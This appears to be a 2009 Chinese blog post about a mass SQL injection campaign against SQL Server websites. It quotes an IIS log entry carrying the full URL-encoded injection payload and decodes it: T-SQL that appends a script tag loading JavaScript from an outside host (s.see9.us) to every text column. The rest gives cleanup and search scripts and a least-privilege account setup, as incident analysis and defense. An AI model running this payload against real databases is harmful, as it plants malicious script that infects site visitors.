博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

首发csdn:http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html

author:perfectaction
date  :2009.05
适用于sql 2005/2008
从去开始,有很多网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符

我也遇到过,通过分析iis日志,搜索"Update%20",找到很多,如:
2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp id=8826;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20select%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20where%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('Update%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -

这段代码我还原后如下:

 

declare  @t  varchar(255),@c  varchar(255)  
declare  table_cursor  cursor  for  
select  a.name,b.name  from  sysobjects  a,syscolumns  b  
where  a.iD=b.iD  AnD  a.xtype='u'  
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  

open  table_cursor  fetch  next  from  table_cursor  
into  @t,@c  
while(@@fetch_status=0)  
begin  
    
print('update  [' + @t + ']  set  [' + @c + ']=rtrim(convert(varchar,[' + @c + '])) + cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D  aS  varchar(67))')  
    
fetch  next  from  table_cursor  into  @t,@c  
end  
close  table_cursor  deallocate  table_cursor

 

 实事上,上面的print实际为exec..其原理就是通过遍历所有的表中的字符类型字段,然后update其内容,加上攻击者的字符.
同理,若要去掉这些字符,也可以利用上面的代码:

 

declare  @t  varchar(255),@c  varchar(255)  
declare  table_cursor  cursor  for 
select  a.name,b.name  from  sysobjects  a,syscolumns  b  
where  a.iD=b.iD  AnD  a.xtype='u'
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  
declare @str varchar(500)
--这里是你要替换的字符
set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
open  table_cursor  fetch  next  from  table_cursor 
into  @t,@c  while(@@fetch_status=0)
begin
    
exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')      
    
fetch  next  from  table_cursor  into  @t,@c
end
close  table_cursor  deallocate  table_cursor;

 

但事实上,攻击者在update数据库字段时,是采用先截取再加他自己字符的方法,所以对于text/ntext类型,如果你原来的字段内的字符>8000的话,已经无法全部还原成最初状态了.

往往我们还需要看下其它数据库有没有同样被攻击,我写了如下代码:

 

--查某个指定字符出现在哪些表哪些字段:
declare @searchstr nvarchar(500)
set @searchstr ='3b3.org' --这里是你要查的字符内容
declare @t  varchar(255),@c  varchar(255
create table # (name varchar(256),cols varchar(4000))
declare  table_cursor  cursor  for
select  a.name,b.name  from  sysobjects  a,syscolumns  b  ,systypes c
where  a.id=b.id  and  a.xtype='u' and b.xtype=c.xtype
and c.name in ('char','nchar','varchar','nvarchar','text','next')
open  table_cursor  fetch  next  from  table_cursor
into  @t,@c
while(@@fetch_status=0)
begin  
    
exec('
    set nocount on
    if exists(select top 1 1 from  [
' + @t + ']  where  cast([' + @c + '] as varchar(8000)) like ''%'+@searchstr+'%''
    begin 
        if not exists(select 1 from # where name=
'''+@t+''')
            insert into # select 
'''+@t+''','''+@c+'''
        else
            update # set cols=cols+
'','+@c+''' where name='''+@t+'''
        --select 
'+@c+' from [' + @t + ']  where  [' + @c + '] like ''%'+@searchstr+'%''
    end
    
')
    
fetch  next  from  table_cursor  into  @t,@c  
end
close  table_cursor  deallocate  table_cursor;
select name as '表名',cols as '列名' from #
drop table #

 

 这段sql可以查到你的哪些表哪些字段包含某个指定字符.

这种sql注入攻击我怀疑应该是一种工具或称为病毒,但始终没有见过,如果哪位朋友有,希望给我一份,谢谢.

 

 针对如上的这种sql注入攻击,如果由于某些原因不能更改程序,那么提供如下解决办法:

--创建测试库
create database dbtest
go
use dbtest
go
--创建测试表tb_1
create table tb_1(
id 
int identity(1,1primary key,
col1 
char(200),
col2 
varchar(300),
col3 
text,
col4 
ntext,
col5 
varchar(max)
)
go
--创建测试表tb_2
create table tb_2(
id 
int identity(1,1primary key,
col1 
char(200),
col2 
varchar(300)
)
go
insert into tb_1 select 'a','b','c','d','e'
go
--创建测试视图
create view v_tb_1
as 
select *from tb_1
go
--创建测试存储过程
create proc p_tb_1
as
select top 1 * from tb_1 order by col2
go
--创建测试表值函数
create function fn_tb_1(@id int)
returns table
return (select * from tb_1 where id=@id)
go
--创建测试标量函数
create function fn_tb_1_1(@id int)
returns varchar(300)
as
begin
    
declare @col2 varchar(300)
    
select @col2 = col2 from tb_1 where id=@id
    
return @col2
end
go


--创建login帐号及为其添加安全权限,重要
use dbtest
go    
set nocount on
declare @dbname varchar(300),@username varchar(300),@pwd varchar(300)
select @dbname=db_name(),
@username='webuser_dbtest'--
@pwd='ExO[!g-k9EQ]#y' --
declare @sql varchar(max)
declare @t table(name varchar(256)) 
insert into @t select 'sysobjects'    union all select 'sys.objects ' 
union all select 'syscolumns'        union all select 'sys.columns' 
union all select 'sys.tables'        union all select 'sys.all_columns' 
union all select 'sys.all_objects'    union all select 'sys.indexes' 
union all select 'sys.index_columns' 
set @sql = 'use master;create login ['+ @username +'] with password = '''+@pwd+''',CHECK_EXPIRATION=OFF, CHECK_POLICY=ON'+char(13)
set @sql = @sql + 'use ['+@dbname+']; create user ['+@username +'] for login ['+@username+'] with DEFAULT_SCHEMA =dbo'+char(13)
select @sql = @sql + 'grant select,insert,update,delete on ['+name+'] to ['+@username+']' +char(13from sys.tables where type='u' and is_ms_shipped !=1
select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13from sys.procedures  where type='P' and schema_id=1 and is_ms_shipped !=1
select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13from sys.objects  where type in ('FN'and is_ms_shipped !=1
select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13from sys.objects  where type in ('TF','IF'and is_ms_shipped !=1
select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13from sys.views  where type='V' and is_ms_shipped !=1
select @sql = @sql + 'deny select on '+name+' to ['+@username+']'  +char(13from @t
print(@sql)
exec(@sql)
/* --这里生成的创建新用户及设置权限的t-sql.
use master;create login [webuser_dbtest] with password = 'ExO[!g-k9EQ]#y',CHECK_EXPIRATION=OFF, CHECK_POLICY=ON
use [dbtest]; create user [webuser_dbtest] for login [webuser_dbtest] with DEFAULT_SCHEMA =dbo
grant select,insert,update,delete on [tb_2] to [webuser_dbtest]
grant select,insert,update,delete on [tb_1] to [webuser_dbtest]
grant exec on [p_tb_1] to [webuser_dbtest]
grant exec on [fn_tb_1_1] to [webuser_dbtest]
grant select on [v_tb_1] to [webuser_dbtest]
deny select on sysobjects to [webuser_dbtest]
deny select on sys.objects  to [webuser_dbtest]
deny select on syscolumns to [webuser_dbtest]
deny select on sys.columns to [webuser_dbtest]
deny select on sys.tables to [webuser_dbtest]
deny select on sys.all_columns to [webuser_dbtest]
deny select on sys.all_objects to [webuser_dbtest]
deny select on sys.indexes to [webuser_dbtest]
deny select on sys.index_columns to [webuser_dbtest]
*/


execute as login='webuser_dbtest' --切换用户,以验证权限是否正确
select USER_NAME()
/*
webuser_dbtest
*/

select top 1 *from tb_1
/*
1    a  b    c    d    e
*/

select top 1 * from v_tb_1
/*
1    a  b    c    d    e
*/

exec p_tb_1
/*
1    a  b    c    d    e
*/

select top 1 * from sys.objects  --这里可以看到该系统表也不允许被访问
/*
Msg 229, Level 14, State 5, Line 1
拒绝了对对象 'objects' (数据库 'mssqlsystemresource',架构 'sys')的 SELECT 权限。
*/

revert 
--切换回dbo用户
select USER_NAME()
/*
dbo
*/

select top 1 name,object_id from sys.objects  --这里可以看到该系统表允许dbo访问
/*
sysrscols    3
*/


这个代码是针对sql 2005/2008.

另外,这个旨在建立较为安全的程序帐号设置.并针对
"网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符 "
这种注入攻击而设计.


不过,真正的防注入,需要程序来实现。